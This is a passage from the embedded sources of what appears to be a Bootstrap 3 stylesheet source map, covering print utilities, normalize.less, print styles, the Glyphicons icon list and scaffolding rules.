.hidden-lg {\n display: none !important;\n }\n}\n.visible-print {\n display: none !important;\n}\n@media print {\n .visible-print {\n display: block !important;\n }\n table.visible-print {\n display: table !important;\n }\n tr.visible-print {\n display: table-row !important;\n }\n th.visible-print,\n td.visible-print {\n display: table-cell !important;\n }\n}\n.visible-print-block {\n display: none !important;\n}\n@media print {\n .visible-print-block {\n display: block !important;\n }\n}\n.visible-print-inline {\n display: none !important;\n}\n@media print {\n .visible-print-inline {\n display: inline !important;\n }\n}\n.visible-print-inline-block {\n display: none !important;\n}\n@media print {\n .visible-print-inline-block {\n display: inline-block !important;\n }\n}\n@media print {\n .hidden-print {\n display: none !important;\n }\n}\n/*# sourceMappingURL=bootstrap.css.map */","/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */\n\n//\n// 1. Set default font family to sans-serif.\n// 2. Prevent iOS and IE text size adjust after device orientation change,\n// without disabling user zoom.\n//\n\nhtml {\n font-family: sans-serif; // 1\n -ms-text-size-adjust: 100%; // 2\n -webkit-text-size-adjust: 100%; // 2\n}\n\n//\n// Remove default margin.\n//\n\nbody {\n margin: 0;\n}\n\n// HTML5 display definitions\n// ==========================================================================\n\n//\n// Correct `block` display not defined for any HTML5 element in IE 8/9.\n// Correct `block` display not defined for `details` or `summary` in IE 10/11\n// and Firefox.\n// Correct `block` display not defined for `main` in IE 11.\n//\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n display: block;\n}\n\n//\n// 1. Correct `inline-block` display not defined in IE 8/9.\n// 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.\n//\n\naudio,\ncanvas,\nprogress,\nvideo {\n display: inline-block; // 1\n vertical-align: baseline; // 2\n}\n\n//\n// Prevent modern browsers from displaying `audio` without controls.\n// Remove excess height in iOS 5 devices.\n//\n\naudio:not([controls]) {\n display: none;\n height: 0;\n}\n\n//\n// Address `[hidden]` styling not present in IE 8/9/10.\n// Hide the `template` element in IE 8/9/10/11, Safari, and Firefox < 22.\n//\n\n[hidden],\ntemplate {\n display: none;\n}\n\n// Links\n// ==========================================================================\n\n//\n// Remove the gray background color from active links in IE 10.\n//\n\na {\n background-color: transparent;\n}\n\n//\n// Improve readability of focused elements when they are also in an\n// active/hover state.\n//\n\na:active,\na:hover {\n outline: 0;\n}\n\n// Text-level semantics\n// ==========================================================================\n\n//\n// Address styling not present in IE 8/9/10/11, Safari, and Chrome.\n//\n\nabbr[title] {\n border-bottom: 1px dotted;\n}\n\n//\n// Address style set to `bolder` in Firefox 4+, Safari, and Chrome.\n//\n\nb,\nstrong {\n font-weight: bold;\n}\n\n//\n// Address styling not present in Safari and Chrome.\n//\n\ndfn {\n font-style: italic;\n}\n\n//\n// Address variable `h1` font-size and margin within `section` and `article`\n// contexts in Firefox 4+, Safari, and Chrome.\n//\n\nh1 {\n font-size: 2em;\n margin: 0.67em 0;\n}\n\n//\n// Address styling not present in IE 8/9.\n//\n\nmark {\n background: #ff0;\n color: #000;\n}\n\n//\n// Address inconsistent and variable font size in all browsers.\n//\n\nsmall {\n font-size: 80%;\n}\n\n//\n// Prevent `sub` and `sup` affecting `line-height` in all browsers.\n//\n\nsub,\nsup {\n font-size: 75%;\n line-height: 0;\n position: relative;\n vertical-align: baseline;\n}\n\nsup {\n top: -0.5em;\n}\n\nsub {\n bottom: -0.25em;\n}\n\n// Embedded content\n// ==========================================================================\n\n//\n// Remove border when inside `a` element in IE 8/9/10.\n//\n\nimg {\n border: 0;\n}\n\n//\n// Correct overflow not hidden in IE 9/10/11.\n//\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\n// Grouping content\n// ==========================================================================\n\n//\n// Address margin not present in IE 8/9 and Safari.\n//\n\nfigure {\n margin: 1em 40px;\n}\n\n//\n// Address differences between Firefox and other browsers.\n//\n\nhr {\n box-sizing: content-box;\n height: 0;\n}\n\n//\n// Contain overflow in all browsers.\n//\n\npre {\n overflow: auto;\n}\n\n//\n// Address odd `em`-unit font size rendering in all browsers.\n//\n\ncode,\nkbd,\npre,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\n\n// Forms\n// ==========================================================================\n\n//\n// Known limitation: by default, Chrome and Safari on OS X allow very limited\n// styling of `select`, unless a `border` property is set.\n//\n\n//\n// 1. Correct color not being inherited.\n// Known issue: affects color of disabled elements.\n// 2. Correct font properties not being inherited.\n// 3. Address margins set differently in Firefox 4+, Safari, and Chrome.\n//\n\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n color: inherit; // 1\n font: inherit; // 2\n margin: 0; // 3\n}\n\n//\n// Address `overflow` set to `hidden` in IE 8/9/10/11.\n//\n\nbutton {\n overflow: visible;\n}\n\n//\n// Address inconsistent `text-transform` inheritance for `button` and `select`.\n// All other form control elements do not inherit `text-transform` values.\n// Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.\n// Correct `select` style inheritance in Firefox.\n//\n\nbutton,\nselect {\n text-transform: none;\n}\n\n//\n// 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`\n// and `video` controls.\n// 2. Correct inability to style clickable `input` types in iOS.\n// 3. Improve usability and consistency of cursor style between image-type\n// `input` and others.\n//\n\nbutton,\nhtml input[type=\"button\"], // 1\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n -webkit-appearance: button; // 2\n cursor: pointer; // 3\n}\n\n//\n// Re-set default cursor for disabled elements.\n//\n\nbutton[disabled],\nhtml input[disabled] {\n cursor: default;\n}\n\n//\n// Remove inner padding and border in Firefox 4+.\n//\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n border: 0;\n padding: 0;\n}\n\n//\n// Address Firefox 4+ setting `line-height` on `input` using `!important` in\n// the UA stylesheet.\n//\n\ninput {\n line-height: normal;\n}\n\n//\n// It's recommended that you don't attempt to style these elements.\n// Firefox's implementation doesn't respect box-sizing, padding, or width.\n//\n// 1. Address box sizing set to `content-box` in IE 8/9/10.\n// 2. Remove excess padding in IE 8/9/10.\n//\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n box-sizing: border-box; // 1\n padding: 0; // 2\n}\n\n//\n// Fix the cursor style for Chrome's increment/decrement buttons. For certain\n// `font-size` values of the `input`, it causes the cursor style of the\n// decrement button to change from `default` to `text`.\n//\n\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n//\n// 1. Address `appearance` set to `searchfield` in Safari and Chrome.\n// 2. Address `box-sizing` set to `border-box` in Safari and Chrome.\n//\n\ninput[type=\"search\"] {\n -webkit-appearance: textfield; // 1\n box-sizing: content-box; //2\n}\n\n//\n// Remove inner padding and search cancel button in Safari and Chrome on OS X.\n// Safari (but not Chrome) clips the cancel button when the search input has\n// padding (and `textfield` appearance).\n//\n\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n//\n// Define consistent border, margin, and padding.\n//\n\nfieldset {\n border: 1px solid #c0c0c0;\n margin: 0 2px;\n padding: 0.35em 0.625em 0.75em;\n}\n\n//\n// 1. Correct `color` not being inherited in IE 8/9/10/11.\n// 2. Remove padding so people aren't caught out if they zero out fieldsets.\n//\n\nlegend {\n border: 0; // 1\n padding: 0; // 2\n}\n\n//\n// Remove default vertical scrollbar in IE 8/9/10/11.\n//\n\ntextarea {\n overflow: auto;\n}\n\n//\n// Don't inherit the `font-weight` (applied by a rule above).\n// NOTE: the default cannot safely be changed in Chrome and Safari on OS X.\n//\n\noptgroup {\n font-weight: bold;\n}\n\n// Tables\n// ==========================================================================\n\n//\n// Remove most spacing between table cells.\n//\n\ntable {\n border-collapse: collapse;\n border-spacing: 0;\n}\n\ntd,\nth {\n padding: 0;\n}\n","/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */\n\n// ==========================================================================\n// Print styles.\n// Inlined to avoid the additional HTTP request: h5bp.com/r\n// ==========================================================================\n\n@media print {\n *,\n *:before,\n *:after {\n background: transparent !important;\n color: #000 !important; // Black prints faster: h5bp.com/s\n box-shadow: none !important;\n text-shadow: none !important;\n }\n\n a,\n a:visited {\n text-decoration: underline;\n }\n\n a[href]:after {\n content: \" (\" attr(href) \")\";\n }\n\n abbr[title]:after {\n content: \" (\" attr(title) \")\";\n }\n\n // Don't show links that are fragment identifiers,\n // or use the `javascript:` pseudo protocol\n a[href^=\"#\"]:after,\n a[href^=\"javascript:\"]:after {\n content: \"\";\n }\n\n pre,\n blockquote {\n border: 1px solid #999;\n page-break-inside: avoid;\n }\n\n thead {\n display: table-header-group; // h5bp.com/t\n }\n\n tr,\n img {\n page-break-inside: avoid;\n }\n\n img {\n max-width: 100% !important;\n }\n\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n\n h2,\n h3 {\n page-break-after: avoid;\n }\n\n // Bootstrap specific changes start\n\n // Bootstrap components\n .navbar {\n display: none;\n }\n .btn,\n .dropup > .btn {\n > .caret {\n border-top-color: #000 !important;\n }\n }\n .label {\n border: 1px solid #000;\n }\n\n .table {\n border-collapse: collapse !important;\n\n td,\n th {\n background-color: #fff !important;\n }\n }\n .table-bordered {\n th,\n td {\n border: 1px solid #ddd !important;\n }\n }\n\n // Bootstrap specific changes end\n}\n","//\n// Glyphicons for Bootstrap\n//\n// Since icons are fonts, they can be placed anywhere text is placed and are\n// thus automatically sized to match the surrounding child. To use, create an\n// inline element with the appropriate classes, like so:\n//\n// Star\n\n// Import the fonts\n@font-face {\n font-family: 'Glyphicons Halflings';\n src: url('@{icon-font-path}@{icon-font-name}.eot');\n src: url('@{icon-font-path}@{icon-font-name}.eot?#iefix') format('embedded-opentype'),\n url('@{icon-font-path}@{icon-font-name}.woff2') format('woff2'),\n url('@{icon-font-path}@{icon-font-name}.woff') format('woff'),\n url('@{icon-font-path}@{icon-font-name}.ttf') format('truetype'),\n url('@{icon-font-path}@{icon-font-name}.svg#@{icon-font-svg-id}') format('svg');\n}\n\n// Catchall baseclass\n.glyphicon {\n position: relative;\n top: 1px;\n display: inline-block;\n font-family: 'Glyphicons Halflings';\n font-style: normal;\n font-weight: normal;\n line-height: 1;\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n}\n\n// Individual icons\n.glyphicon-asterisk { &:before { content: \"\\002a\"; } }\n.glyphicon-plus { &:before { content: \"\\002b\"; } }\n.glyphicon-euro,\n.glyphicon-eur { &:before { content: \"\\20ac\"; } }\n.glyphicon-minus { &:before { content: \"\\2212\"; } }\n.glyphicon-cloud { &:before { content: \"\\2601\"; } }\n.glyphicon-envelope { &:before { content: \"\\2709\"; } }\n.glyphicon-pencil { &:before { content: \"\\270f\"; } }\n.glyphicon-glass { &:before { content: \"\\e001\"; } }\n.glyphicon-music { &:before { content: \"\\e002\"; } }\n.glyphicon-search { &:before { content: \"\\e003\"; } }\n.glyphicon-heart { &:before { content: \"\\e005\"; } }\n.glyphicon-star { &:before { content: \"\\e006\"; } }\n.glyphicon-star-empty { &:before { content: \"\\e007\"; } }\n.glyphicon-user { &:before { content: \"\\e008\"; } }\n.glyphicon-film { &:before { content: \"\\e009\"; } }\n.glyphicon-th-large { &:before { content: \"\\e010\"; } }\n.glyphicon-th { &:before { content: \"\\e011\"; } }\n.glyphicon-th-list { &:before { content: \"\\e012\"; } }\n.glyphicon-ok { &:before { content: \"\\e013\"; } }\n.glyphicon-remove { &:before { content: \"\\e014\"; } }\n.glyphicon-zoom-in { &:before { content: \"\\e015\"; } }\n.glyphicon-zoom-out { &:before { content: \"\\e016\"; } }\n.glyphicon-off { &:before { content: \"\\e017\"; } }\n.glyphicon-signal { &:before { content: \"\\e018\"; } }\n.glyphicon-cog { &:before { content: \"\\e019\"; } }\n.glyphicon-trash { &:before { content: \"\\e020\"; } }\n.glyphicon-home { &:before { content: \"\\e021\"; } }\n.glyphicon-file { &:before { content: \"\\e022\"; } }\n.glyphicon-time { &:before { content: \"\\e023\"; } }\n.glyphicon-road { &:before { content: \"\\e024\"; } }\n.glyphicon-download-alt { &:before { content: \"\\e025\"; } }\n.glyphicon-download { &:before { content: \"\\e026\"; } }\n.glyphicon-upload { &:before { content: \"\\e027\"; } }\n.glyphicon-inbox { &:before { content: \"\\e028\"; } }\n.glyphicon-play-circle { &:before { content: \"\\e029\"; } }\n.glyphicon-repeat { &:before { content: \"\\e030\"; } }\n.glyphicon-refresh { &:before { content: \"\\e031\"; } }\n.glyphicon-list-alt { &:before { content: \"\\e032\"; } }\n.glyphicon-lock { &:before { content: \"\\e033\"; } }\n.glyphicon-flag { &:before { content: \"\\e034\"; } }\n.glyphicon-headphones { &:before { content: \"\\e035\"; } }\n.glyphicon-volume-off { &:before { content: \"\\e036\"; } }\n.glyphicon-volume-down { &:before { content: \"\\e037\"; } }\n.glyphicon-volume-up { &:before { content: \"\\e038\"; } }\n.glyphicon-qrcode { &:before { content: \"\\e039\"; } }\n.glyphicon-barcode { &:before { content: \"\\e040\"; } }\n.glyphicon-tag { &:before { content: \"\\e041\"; } }\n.glyphicon-tags { &:before { content: \"\\e042\"; } }\n.glyphicon-book { &:before { content: \"\\e043\"; } }\n.glyphicon-bookmark { &:before { content: \"\\e044\"; } }\n.glyphicon-print { &:before { content: \"\\e045\"; } }\n.glyphicon-camera { &:before { content: \"\\e046\"; } }\n.glyphicon-font { &:before { content: \"\\e047\"; } }\n.glyphicon-bold { &:before { content: \"\\e048\"; } }\n.glyphicon-italic { &:before { content: \"\\e049\"; } }\n.glyphicon-text-height { &:before { content: \"\\e050\"; } }\n.glyphicon-text-width { &:before { content: \"\\e051\"; } }\n.glyphicon-align-left { &:before { content: \"\\e052\"; } }\n.glyphicon-align-center { &:before { content: \"\\e053\"; } }\n.glyphicon-align-right { &:before { content: \"\\e054\"; } }\n.glyphicon-align-justify { &:before { content: \"\\e055\"; } }\n.glyphicon-list { &:before { content: \"\\e056\"; } }\n.glyphicon-indent-left { &:before { content: \"\\e057\"; } }\n.glyphicon-indent-right { &:before { content: \"\\e058\"; } }\n.glyphicon-facetime-video { &:before { content: \"\\e059\"; } }\n.glyphicon-picture { &:before { content: \"\\e060\"; } }\n.glyphicon-map-marker { &:before { content: \"\\e062\"; } }\n.glyphicon-adjust { &:before { content: \"\\e063\"; } }\n.glyphicon-tint { &:before { content: \"\\e064\"; } }\n.glyphicon-edit { &:before { content: \"\\e065\"; } }\n.glyphicon-share { &:before { content: \"\\e066\"; } }\n.glyphicon-check { &:before { content: \"\\e067\"; } }\n.glyphicon-move { &:before { content: \"\\e068\"; } }\n.glyphicon-step-backward { &:before { content: \"\\e069\"; } }\n.glyphicon-fast-backward { &:before { content: \"\\e070\"; } }\n.glyphicon-backward { &:before { content: \"\\e071\"; } }\n.glyphicon-play { &:before { content: \"\\e072\"; } }\n.glyphicon-pause { &:before { content: \"\\e073\"; } }\n.glyphicon-stop { &:before { content: \"\\e074\"; } }\n.glyphicon-forward { &:before { content: \"\\e075\"; } }\n.glyphicon-fast-forward { &:before { content: \"\\e076\"; } }\n.glyphicon-step-forward { &:before { content: \"\\e077\"; } }\n.glyphicon-eject { &:before { content: \"\\e078\"; } }\n.glyphicon-chevron-left { &:before { content: \"\\e079\"; } }\n.glyphicon-chevron-right { &:before { content: \"\\e080\"; } }\n.glyphicon-plus-sign { &:before { content: \"\\e081\"; } }\n.glyphicon-minus-sign { &:before { content: \"\\e082\"; } }\n.glyphicon-remove-sign { &:before { content: \"\\e083\"; } }\n.glyphicon-ok-sign { &:before { content: \"\\e084\"; } }\n.glyphicon-question-sign { &:before { content: \"\\e085\"; } }\n.glyphicon-info-sign { &:before { content: \"\\e086\"; } }\n.glyphicon-screenshot { &:before { content: \"\\e087\"; } }\n.glyphicon-remove-circle { &:before { content: \"\\e088\"; } }\n.glyphicon-ok-circle { &:before { content: \"\\e089\"; } }\n.glyphicon-ban-circle { &:before { content: \"\\e090\"; } }\n.glyphicon-arrow-left { &:before { content: \"\\e091\"; } }\n.glyphicon-arrow-right { &:before { content: \"\\e092\"; } }\n.glyphicon-arrow-up { &:before { content: \"\\e093\"; } }\n.glyphicon-arrow-down { &:before { content: \"\\e094\"; } }\n.glyphicon-share-alt { &:before { content: \"\\e095\"; } }\n.glyphicon-resize-full { &:before { content: \"\\e096\"; } }\n.glyphicon-resize-small { &:before { content: \"\\e097\"; } }\n.glyphicon-exclamation-sign { &:before { content: \"\\e101\"; } }\n.glyphicon-gift { &:before { content: \"\\e102\"; } }\n.glyphicon-leaf { &:before { content: \"\\e103\"; } }\n.glyphicon-fire { &:before { content: \"\\e104\"; } }\n.glyphicon-eye-open { &:before { content: \"\\e105\"; } }\n.glyphicon-eye-close { &:before { content: \"\\e106\"; } }\n.glyphicon-warning-sign { &:before { content: \"\\e107\"; } }\n.glyphicon-plane { &:before { content: \"\\e108\"; } }\n.glyphicon-calendar { &:before { content: \"\\e109\"; } }\n.glyphicon-random { &:before { content: \"\\e110\"; } }\n.glyphicon-comment { &:before { content: \"\\e111\"; } }\n.glyphicon-magnet { &:before { content: \"\\e112\"; } }\n.glyphicon-chevron-up { &:before { content: \"\\e113\"; } }\n.glyphicon-chevron-down { &:before { content: \"\\e114\"; } }\n.glyphicon-retweet { &:before { content: \"\\e115\"; } }\n.glyphicon-shopping-cart { &:before { content: \"\\e116\"; } }\n.glyphicon-folder-close { &:before { content: \"\\e117\"; } }\n.glyphicon-folder-open { &:before { content: \"\\e118\"; } }\n.glyphicon-resize-vertical { &:before { content: \"\\e119\"; } }\n.glyphicon-resize-horizontal { &:before { content: \"\\e120\"; } }\n.glyphicon-hdd { &:before { content: \"\\e121\"; } }\n.glyphicon-bullhorn { &:before { content: \"\\e122\"; } }\n.glyphicon-bell { &:before { content: \"\\e123\"; } }\n.glyphicon-certificate { &:before { content: \"\\e124\"; } }\n.glyphicon-thumbs-up { &:before { content: \"\\e125\"; } }\n.glyphicon-thumbs-down { &:before { content: \"\\e126\"; } }\n.glyphicon-hand-right { &:before { content: \"\\e127\"; } }\n.glyphicon-hand-left { &:before { content: \"\\e128\"; } }\n.glyphicon-hand-up { &:before { content: \"\\e129\"; } }\n.glyphicon-hand-down { &:before { content: \"\\e130\"; } }\n.glyphicon-circle-arrow-right { &:before { content: \"\\e131\"; } }\n.glyphicon-circle-arrow-left { &:before { content: \"\\e132\"; } }\n.glyphicon-circle-arrow-up { &:before { content: \"\\e133\"; } }\n.glyphicon-circle-arrow-down { &:before { content: \"\\e134\"; } }\n.glyphicon-globe { &:before { content: \"\\e135\"; } }\n.glyphicon-wrench { &:before { content: \"\\e136\"; } }\n.glyphicon-tasks { &:before { content: \"\\e137\"; } }\n.glyphicon-filter { &:before { content: \"\\e138\"; } }\n.glyphicon-briefcase { &:before { content: \"\\e139\"; } }\n.glyphicon-fullscreen { &:before { content: \"\\e140\"; } }\n.glyphicon-dashboard { &:before { content: \"\\e141\"; } }\n.glyphicon-paperclip { &:before { content: \"\\e142\"; } }\n.glyphicon-heart-empty { &:before { content: \"\\e143\"; } }\n.glyphicon-link { &:before { content: \"\\e144\"; } }\n.glyphicon-phone { &:before { content: \"\\e145\"; } }\n.glyphicon-pushpin { &:before { content: \"\\e146\"; } }\n.glyphicon-usd { &:before { content: \"\\e148\"; } }\n.glyphicon-gbp { &:before { content: \"\\e149\"; } }\n.glyphicon-sort { &:before { content: \"\\e150\"; } }\n.glyphicon-sort-by-alphabet { &:before { content: \"\\e151\"; } }\n.glyphicon-sort-by-alphabet-alt { &:before { content: \"\\e152\"; } }\n.glyphicon-sort-by-order { &:before { content: \"\\e153\"; } }\n.glyphicon-sort-by-order-alt { &:before { content: \"\\e154\"; } }\n.glyphicon-sort-by-attributes { &:before { content: \"\\e155\"; } }\n.glyphicon-sort-by-attributes-alt { &:before { content: \"\\e156\"; } }\n.glyphicon-unchecked { &:before { content: \"\\e157\"; } }\n.glyphicon-expand { &:before { content: \"\\e158\"; } }\n.glyphicon-collapse-down { &:before { content: \"\\e159\"; } }\n.glyphicon-collapse-up { &:before { content: \"\\e160\"; } }\n.glyphicon-log-in { &:before { content: \"\\e161\"; } }\n.glyphicon-flash { &:before { content: \"\\e162\"; } }\n.glyphicon-log-out { &:before { content: \"\\e163\"; } }\n.glyphicon-new-window { &:before { content: \"\\e164\"; } }\n.glyphicon-record { &:before { content: \"\\e165\"; } }\n.glyphicon-save { &:before { content: \"\\e166\"; } }\n.glyphicon-open { &:before { content: \"\\e167\"; } }\n.glyphicon-saved { &:before { content: \"\\e168\"; } }\n.glyphicon-import { &:before { content: \"\\e169\"; } }\n.glyphicon-export { &:before { content: \"\\e170\"; } }\n.glyphicon-send { &:before { content: \"\\e171\"; } }\n.glyphicon-floppy-disk { &:before { content: \"\\e172\"; } }\n.glyphicon-floppy-saved { &:before { content: \"\\e173\"; } }\n.glyphicon-floppy-remove { &:before { content: \"\\e174\"; } }\n.glyphicon-floppy-save { &:before { content: \"\\e175\"; } }\n.glyphicon-floppy-open { &:before { content: \"\\e176\"; } }\n.glyphicon-credit-card { &:before { content: \"\\e177\"; } }\n.glyphicon-transfer { &:before { content: \"\\e178\"; } }\n.glyphicon-cutlery { &:before { content: \"\\e179\"; } }\n.glyphicon-header { &:before { content: \"\\e180\"; } }\n.glyphicon-compressed { &:before { content: \"\\e181\"; } }\n.glyphicon-earphone { &:before { content: \"\\e182\"; } }\n.glyphicon-phone-alt { &:before { content: \"\\e183\"; } }\n.glyphicon-tower { &:before { content: \"\\e184\"; } }\n.glyphicon-stats { &:before { content: \"\\e185\"; } }\n.glyphicon-sd-video { &:before { content: \"\\e186\"; } }\n.glyphicon-hd-video { &:before { content: \"\\e187\"; } }\n.glyphicon-subtitles { &:before { content: \"\\e188\"; } }\n.glyphicon-sound-stereo { &:before { content: \"\\e189\"; } }\n.glyphicon-sound-dolby { &:before { content: \"\\e190\"; } }\n.glyphicon-sound-5-1 { &:before { content: \"\\e191\"; } }\n.glyphicon-sound-6-1 { &:before { content: \"\\e192\"; } }\n.glyphicon-sound-7-1 { &:before { content: \"\\e193\"; } }\n.glyphicon-copyright-mark { &:before { content: \"\\e194\"; } }\n.glyphicon-registration-mark { &:before { content: \"\\e195\"; } }\n.glyphicon-cloud-download { &:before { content: \"\\e197\"; } }\n.glyphicon-cloud-upload { &:before { content: \"\\e198\"; } }\n.glyphicon-tree-conifer { &:before { content: \"\\e199\"; } }\n.glyphicon-tree-deciduous { &:before { content: \"\\e200\"; } }\n.glyphicon-cd { &:before { content: \"\\e201\"; } }\n.glyphicon-save-file { &:before { content: \"\\e202\"; } }\n.glyphicon-open-file { &:before { content: \"\\e203\"; } }\n.glyphicon-level-up { &:before { content: \"\\e204\"; } }\n.glyphicon-copy { &:before { content: \"\\e205\"; } }\n.glyphicon-paste { &:before { content: \"\\e206\"; } }\n// The following 2 Glyphicons are omitted for the time being because\n// they currently use Unicode codepoints that are outside the\n// Basic Multilingual Plane (BMP). Older buggy versions of WebKit can't handle\n// non-BMP codepoints in CSS string escapes, and thus can't display these two icons.\n// Notably, the bug affects some older versions of the Android Browser.\n// More info: https://github.com/twbs/bootstrap/issues/10106\n// .glyphicon-door { &:before { content: \"\\1f6aa\"; } }\n// .glyphicon-key { &:before { content: \"\\1f511\"; } }\n.glyphicon-alert { &:before { content: \"\\e209\"; } }\n.glyphicon-equalizer { &:before { content: \"\\e210\"; } }\n.glyphicon-king { &:before { content: \"\\e211\"; } }\n.glyphicon-queen { &:before { content: \"\\e212\"; } }\n.glyphicon-pawn { &:before { content: \"\\e213\"; } }\n.glyphicon-bishop { &:before { content: \"\\e214\"; } }\n.glyphicon-knight { &:before { content: \"\\e215\"; } }\n.glyphicon-baby-formula { &:before { content: \"\\e216\"; } }\n.glyphicon-tent { &:before { content: \"\\26fa\"; } }\n.glyphicon-blackboard { &:before { content: \"\\e218\"; } }\n.glyphicon-bed { &:before { content: \"\\e219\"; } }\n.glyphicon-apple { &:before { content: \"\\f8ff\"; } }\n.glyphicon-erase { &:before { content: \"\\e221\"; } }\n.glyphicon-hourglass { &:before { content: \"\\231b\"; } }\n.glyphicon-lamp { &:before { content: \"\\e223\"; } }\n.glyphicon-duplicate { &:before { content: \"\\e224\"; } }\n.glyphicon-piggy-bank { &:before { content: \"\\e225\"; } }\n.glyphicon-scissors { &:before { content: \"\\e226\"; } }\n.glyphicon-bitcoin { &:before { content: \"\\e227\"; } }\n.glyphicon-btc { &:before { content: \"\\e227\"; } }\n.glyphicon-xbt { &:before { content: \"\\e227\"; } }\n.glyphicon-yen { &:before { content: \"\\00a5\"; } }\n.glyphicon-jpy { &:before { content: \"\\00a5\"; } }\n.glyphicon-ruble { &:before { content: \"\\20bd\"; } }\n.glyphicon-rub { &:before { content: \"\\20bd\"; } }\n.glyphicon-scale { &:before { content: \"\\e230\"; } }\n.glyphicon-ice-lolly { &:before { content: \"\\e231\"; } }\n.glyphicon-ice-lolly-tasted { &:before { content: \"\\e232\"; } }\n.glyphicon-education { &:before { content: \"\\e233\"; } }\n.glyphicon-option-horizontal { &:before { content: \"\\e234\"; } }\n.glyphicon-option-vertical { &:before { content: \"\\e235\"; } }\n.glyphicon-menu-hamburger { &:before { content: \"\\e236\"; } }\n.glyphicon-modal-window { &:before { content: \"\\e237\"; } }\n.glyphicon-oil { &:before { content: \"\\e238\"; } }\n.glyphicon-grain { &:before { content: \"\\e239\"; } }\n.glyphicon-sunglasses { &:before { content: \"\\e240\"; } }\n.glyphicon-text-size { &:before { content: \"\\e241\"; } }\n.glyphicon-text-color { &:before { content: \"\\e242\"; } }\n.glyphicon-text-background { &:before { content: \"\\e243\"; } }\n.glyphicon-object-align-top { &:before { content: \"\\e244\"; } }\n.glyphicon-object-align-bottom { &:before { content: \"\\e245\"; } }\n.glyphicon-object-align-horizontal{ &:before { content: \"\\e246\"; } }\n.glyphicon-object-align-left { &:before { content: \"\\e247\"; } }\n.glyphicon-object-align-vertical { &:before { content: \"\\e248\"; } }\n.glyphicon-object-align-right { &:before { content: \"\\e249\"; } }\n.glyphicon-triangle-right { &:before { content: \"\\e250\"; } }\n.glyphicon-triangle-left { &:before { content: \"\\e251\"; } }\n.glyphicon-triangle-bottom { &:before { content: \"\\e252\"; } }\n.glyphicon-triangle-top { &:before { content: \"\\e253\"; } }\n.glyphicon-console { &:before { content: \"\\e254\"; } }\n.glyphicon-superscript { &:before { content: \"\\e255\"; } }\n.glyphicon-subscript { &:before { content: \"\\e256\"; } }\n.glyphicon-menu-left { &:before { content: \"\\e257\"; } }\n.glyphicon-menu-right { &:before { content: \"\\e258\"; } }\n.glyphicon-menu-down { &:before { content: \"\\e259\"; } }\n.glyphicon-menu-up { &:before { content: \"\\e260\"; } }\n","//\n// Scaffolding\n// --------------------------------------------------\n\n\n// Reset the box-sizing\n//\n// Heads up! This reset may cause conflicts with some third-party widgets.\n// For recommendations on resolving such conflicts, see\n// http://getbootstrap.com/getting-started/#third-box-sizing\n* {\n .box-sizing(border-box);\n}\n*:before,\n*:after {\n .box-sizing(border-box);\n}\n\n\n// Body reset\n\nhtml {\n font-size: 10px;\n -webkit-tap-highlight-color: rgba(0,0,0,0);\n}\n\nbody {\n font-family: @font-family-base;\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @text-color;\n background-color: @body-bg;\n}\n\n// Reset fonts for relevant elements\ninput,\nbutton,\nselect,\ntextarea {\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\n\n// Links\n\na {\n color: @link-color;\n text-decoration: none;\n\n &:hover,\n &:focus {\n color: @link-hover-color;\n text-decoration: @link-hover-decoration;\n }\n\n &:focus {\n .tab-focus();\n }\n}\n\n\n// Figures\n//\n// We reset this here because previously Normalize had no `figure` margins. This\n// ensures we don't break anyone's use of the element.\n\nfigure {\n margin: 0;\n}\n\n\n// Images\n\nimg {\n vertical-align: middle;\n}\n\n// Responsive images (ensure images don't scale beyond their parents)\n.img-responsive {\n .img-responsive();\n}\n\n// Rounded corners\n.img-rounded {\n border-radius: @border-radius-large;\n}\n\n// Image thumbnails\n//\n// Heads up! This is mixin-ed into thumbnails.less for `.thumbnail`.\n.img-thumbnail {\n padding: @thumbnail-padding;\n line-height: @line-height-base;\n background-color: @thumbnail-bg;\n border: 1px solid @thumbnail-border;\n border-radius: @thumbnail-border-radius;\n .transition(all .2s ease-in-out);\n\n // Keep them at most 100% wide\n .img-responsive(inline-block);\n}\n\n// Perfect circle\n.img-circle {\n border-radius: 50%; // set radius in percents\n}\n\n\n// Horizontal rules\n\nhr {\n margin-top: @line-height-computed;\n margin-bottom: @line-height-computed;\n border: 0;\n border-top: 1px solid @hr-border;\n}\n\n\n// Only display content to screen readers\n//\n// See: http://a11yproject.com/posts/how-to-hide-content\n\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n margin: -1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0,0,0,0);\n border: 0;\n}\n\n// Use in conjunction with .sr-only to only display content when it's focused.\n// Useful for \"Skip to main content\" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1\n// Credit: HTML5 Boilerplate\n\n.sr-only-focusable {\n &:active,\n &:focus {\n position: static;\n width: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n clip: auto;\n }\n}\n\n\n// iOS \"clickable elements\" fix for role=\"button\"\n//\n// Fixes \"clickability\" issue (and more generally, the firing of events such as focus as well)\n// for traditionally non-focusable elements with role=\"button\"\n// see https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n\n[role=\"button\"] {\n cursor: pointer;\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// 